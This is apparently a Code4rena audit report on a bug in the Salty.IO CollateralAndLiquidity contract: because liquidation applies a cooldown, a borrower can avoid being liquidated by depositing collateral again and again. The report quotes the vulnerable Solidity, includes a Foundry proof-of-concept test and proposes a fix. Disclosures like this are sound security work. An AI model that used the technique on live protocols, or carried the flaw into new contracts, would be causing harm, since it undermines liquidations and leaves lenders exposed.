Because CollateralAndLiquidity#liquidateUser will take into account the cooldown, any user can prevent themselves from being liquidated

[c4-bot-9]

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/stable/CollateralAndLiquidity.sol#L154 https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/staking/StakingRewards.sol#L104

Vulnerability details

Impact

Since there is a cooldown during liquidation, any user can update the cooldownExpiration by depositCollateralAndIncreaseShare, so that CollateralAndLiquidity#liquidateUser cannot function properly.

Proof of Concept

CollateralAndLiquidity#liquidateUser is a function that can liquidate a position which has fallen under the minimum collateral ratio.

src/stable/CollateralAndLiquidity.sol

    // Liquidate a position which has fallen under the minimum collateral ratio.
    // A default 5% of the value of the collateral is sent to the caller, with the rest being sent to the Liquidator for later conversion to USDS which is then burned.
    function liquidateUser( address wallet ) external nonReentrant
        {
        require( wallet != msg.sender, "Cannot liquidate self" );

        // First, make sure that the user's collateral ratio is below the required level
        require( canUserBeLiquidated(wallet), "User cannot be liquidated" );

        uint256 userCollateralAmount = userShareForPool( wallet, collateralPoolID );

        // Withdraw the liquidated collateral from the liquidity pool.
        // The liquidity is owned by this contract so when it is withdrawn it will be reclaimed by this contract.
        (uint256 reclaimedWBTC, uint256 reclaimedWETH) = pools.removeLiquidity(wbtc, weth, userCollateralAmount, 0, 0, totalShares[collateralPoolID] );

        // Decrease the user's share of collateral as it has been liquidated and they no longer have it.
        // [Found] 
        _decreaseUserShare( wallet, collateralPoolID, userCollateralAmount, true );

        ...

        emit Liquidation(msg.sender, wallet, reclaimedWBTC, reclaimedWETH, originallyBorrowedUSDS);
        }

    function _decreaseUserShare( address wallet, bytes32 poolID, uint256 decreaseShareAmount, bool useCooldown ) internal
        {
        require( decreaseShareAmount != 0, "Cannot decrease zero share" );

        UserShareInfo storage user = _userShareInfo[wallet][poolID];
        require( decreaseShareAmount <= user.userShare, "Cannot decrease more than existing user share" );

        if ( useCooldown )
        if ( msg.sender != address(exchangeConfig.dao()) ) // DAO doesn't use the cooldown
            {
            require( block.timestamp >= user.cooldownExpiration, "Must wait for the cooldown to expire" );

            // Update the cooldown expiration for future transactions
            user.cooldownExpiration = block.timestamp + stakingConfig.modificationCooldown();
            }
         ...   
        }

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/stable/CollateralAndLiquidity.sol#L154 https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/staking/StakingRewards.sol#L104

since function liquidateUser set param useCooldown to true to call _decreaseUserShare, This will lead to the judgment that there will consider cooldown when Liquidate a position except for DAO. Malicious users can call collateralAndLiquidity.depositCollateralAndIncreaseShare to prevent liquidation at the minimum cost.

    function testMaliciousPreventLiquidation() public {

        // Bob deposits collateral so alice can be liquidated
        vm.startPrank(bob);
        collateralAndLiquidity.depositCollateralAndIncreaseShare(wbtc.balanceOf(bob), weth.balanceOf(bob), 0, block.timestamp, false );
        vm.stopPrank();

        vm.startPrank( alice );
        uint256 wbtcDeposit = wbtc.balanceOf(alice) / 4;
        uint256 wethDeposit = weth.balanceOf(alice) / 4;

        collateralAndLiquidity.depositCollateralAndIncreaseShare(wbtcDeposit, wethDeposit, 0, block.timestamp, true );

        // Alice borrows USDS
        uint256 maxBorrowable = collateralAndLiquidity.maxBorrowableUSDS(alice);
        collateralAndLiquidity.borrowUSDS( maxBorrowable );

        // Crash the collateral price
        _crashCollateralPrice();
        _crashCollateralPrice();
        _crashCollateralPrice();
        vm.warp( block.timestamp + 1 days );

        collateralAndLiquidity.depositCollateralAndIncreaseShare(wbtcDeposit, wethDeposit, 0, block.timestamp, true );
        console.log("updated user.cooldownExpiration");
        vm.stopPrank();

        // Liquidate Alice's position
        vm.expectRevert( "Must wait for the cooldown to expire" );
        collateralAndLiquidity.liquidateUser(alice);

        vm.warp( block.timestamp + 1 days );
        vm.startPrank( alice );
        collateralAndLiquidity.depositCollateralAndIncreaseShare(wbtcDeposit, wethDeposit, 0, block.timestamp, true );
        vm.stopPrank();

        vm.expectRevert( "Must wait for the cooldown to expire" ); 
        collateralAndLiquidity.liquidateUser(alice);

    }

Adding the above test case in src/stable/tests/CollateralAndLiquidity.t.sol, you can notice that because alice updated cooldownExpiration, the call to collateralAndLiquidity.liquidateUser failed.

Tools Used

vscode, foundry test

Recommended Mitigation Steps

There is no need to use the useCooldown when liquidating，When calling _decreaseUserShare the parameter useCooldown should be set to false.

Assessed type

DoS

[c4-judge]

Picodes marked the issue as duplicate of #891

[c4-judge]

Picodes marked the issue as satisfactory